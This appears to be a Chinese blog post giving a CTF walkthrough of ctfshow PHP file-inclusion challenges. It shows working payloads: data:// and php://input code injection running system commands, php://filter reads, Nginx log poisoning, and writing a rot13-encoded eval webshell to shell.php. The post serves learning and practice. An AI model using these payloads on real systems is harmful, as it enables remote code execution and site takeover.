文件包含与PHP伪协议

文件包含与伪协议

一、无任何过滤措施的文件包含漏洞:(ctfshow-web78):

image

1、data://协议:

?file=data://text/plain,<?php system('tac flag.php');?>

2、php://filter协议:

?file=php://filter/read=convert.base64-encode/resource=flag.php

得到 base64加密过后的数据,对数据进行base64解密即可得到flag

3、php://input协议:

?file=php://input

然后使用POST方法发送php代码:<?php system('tac flag.php');?>
image

4、file直接包含:

file的使用存在前提:
allow_url_fopen = On
allow_url_include = On

使用file协议需预知flag文件路径:
?file=/var/www/html/flag.php

二、过滤 'php':(ctfshow-web79):

image

1、data://协议 + PHP短标签:

?file=data://text/plain,<?='tac flag.php'?>

tac flag.php应用反引号扩起

<?=为PHP短标签,作用等效于 <?php echo

2、data://协议 + base64编码:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

3、php://input协议大小写绕过:

image

三、Nginx日志写入(ctfshow-web81):

Nginx的日志文件 access.log 默认配置路径为 /var/log/nginx/access.log
image

:被过滤,伪协议失效,通过Wappalyzer得知Web服务器为Nginx,且代码未作对于Nginx默认日志访问路径参数的相关过滤,考虑使用 Nginx日志写入一句话木马。

image

四、file_put_contents() 函数(ctfshow-web87):

image
.被过滤,无法实现access.log的日志写入,但是可以根据fil_put_contents()函数的函数特性,构造新文件shell.php,在shell.php中写入一句话木马拿权限。

?file=php://filter/write=string.rot13/resource=shell.php

由于urldeocde()函数,需要对?file=的参数进行url双编码(浏览器解码一次,urldecode()函数解码一次)

content参数使用POST方法请求:

content=?<hp pe@av(l_$EG[T]1;)>? (rot13编码)

如下图所示:
image

最后访问/shell.php连接一句话木马:

/shell.php?1=system('ls');

/shell.php?1=system('tac fl0g.php');

五、iconv过滤器(stfshow-web117):

image

代码中过滤了绝大多数 php://filter 过滤器,但是未过滤 iconv过滤器:

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php

contents参数为指定字符编码:
image

image

posted @ 2024-08-12 15:38  OneCoffee  阅读(26)  评论(0编辑  收藏  举报